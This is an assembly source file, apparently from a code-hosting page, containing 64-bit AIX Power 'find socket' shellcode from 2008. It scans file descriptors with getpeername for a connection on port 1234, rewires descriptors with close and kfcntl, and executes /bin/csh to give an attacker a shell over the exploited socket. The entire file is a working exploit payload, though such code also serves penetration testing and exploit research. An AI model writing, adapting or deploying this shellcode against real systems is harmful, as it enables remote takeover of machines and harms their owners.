125 lines
2.8 KiB
ArmAsm
125 lines
2.8 KiB
ArmAsm
/*
|
|
* $Id: aix-power-fndsockcode64.S 40 2008-11-17 02:45:30Z ramon $
|
|
*
|
|
* aix-power-fndsockcode64.S - AIX Power Find socket code
|
|
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
|
*
|
|
* This library is free software; you can redistribute it and/or
|
|
* modify it under the terms of the GNU Lesser General Public
|
|
* License as published by the Free Software Foundation; either
|
|
* version 2.1 of the License, or (at your option) any later version.
|
|
*
|
|
* This library is distributed in the hope that it will be useful,
|
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
* Lesser General Public License for more details.
|
|
*
|
|
* You should have received a copy of the GNU Lesser General Public
|
|
* License along with this library; if not, write to the Free Software
|
|
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
*
|
|
*/
|
|
|
|
/*
|
|
* Compile with the following command.
|
|
* $ gcc -Wall -DAIXLEVEL -m64 -o aix-power-fndsockcode64
|
|
* aix-power-fndsockcode64.S
|
|
*
|
|
* Where AIXLEVEL is one of the currently supported AIX levels.
|
|
* -DV530 AIX 5.3.0
|
|
*
|
|
*/
|
|
|
|
#include "aix-power.h"
|
|
|
|
.globl .main
|
|
.csect .text[PR]
|
|
|
|
.main:
|
|
|
|
syscallcode:
|
|
xor. %r31,%r31,%r31
|
|
bnel syscallcode
|
|
mflr %r30
|
|
cal %r30,511(%r30)
|
|
cal %r30,-511+28(%r30)
|
|
mtctr %r30
|
|
bctr
|
|
crorc %cr6,%cr6,%cr6
|
|
.long 0x44ffff02
|
|
cal %r30,-8(%r30)
|
|
|
|
fndsockcode:
|
|
lil %r29,__CAL
|
|
|
|
# getpeername
|
|
|
|
stu %r31,-4(%r1)
|
|
mr %r28,%r1
|
|
cal %r27,-511+44(%r29)
|
|
stu %r27,-4(%r1)
|
|
mr %r27,%r1
|
|
|
|
0:
|
|
cal %r31,511(%r31)
|
|
cal %r31,-511+1(%r31)
|
|
|
|
mr %r5,%r27
|
|
mr %r4,%r28
|
|
mr %r3,%r31
|
|
cal %r2,__NC_getpeername(%r29)
|
|
mtctr %r30
|
|
bctrl
|
|
|
|
cal %r26,511(%r28)
|
|
lhz %r26,-511+2(%r26)
|
|
|
|
cmpli 0,%r26,1234
|
|
bne 0b
|
|
|
|
# close
|
|
|
|
cal %r25,-511+2(%r29)
|
|
|
|
1:
|
|
mr %r3,%r25
|
|
cal %r2,__NC_close(%r29)
|
|
mtctr %r30
|
|
bctrl
|
|
|
|
# kfcntl
|
|
|
|
mr %r5,%r25
|
|
xor %r4,%r4,%r4
|
|
mr %r3,%r31
|
|
cal %r2,__NC_kfcntl(%r29)
|
|
mtctr %r30
|
|
bctrl
|
|
|
|
ai. %r25,%r25,-1
|
|
bge 1b
|
|
|
|
shellcode64:
|
|
# lil %r31,__CAL
|
|
xor. %r5,%r5,%r5
|
|
bnel shellcode64
|
|
# mflr %r30
|
|
# cal %r30,511(%r30)
|
|
# cal %r3,-511+40(%r30)
|
|
# stb %r5,-511+48(%r30)
|
|
mflr %r24
|
|
cal %r24,511(%r24)
|
|
cal %r3,-511+40(%r24)
|
|
stb %r5,-511+48(%r24)
|
|
stdu %r5,-8(%r1)
|
|
stdu %r3,-8(%r1)
|
|
mr %r4,%r1
|
|
# cal %r2,__NC_execve(%r31)
|
|
cal %r2,__NC_execve(%r29)
|
|
# crorc %cr6,%cr6,%cr6
|
|
# .long 0x44ffff02
|
|
mtctr %r30
|
|
bctrl
|
|
.asciz "/bin/csh"
|
|
|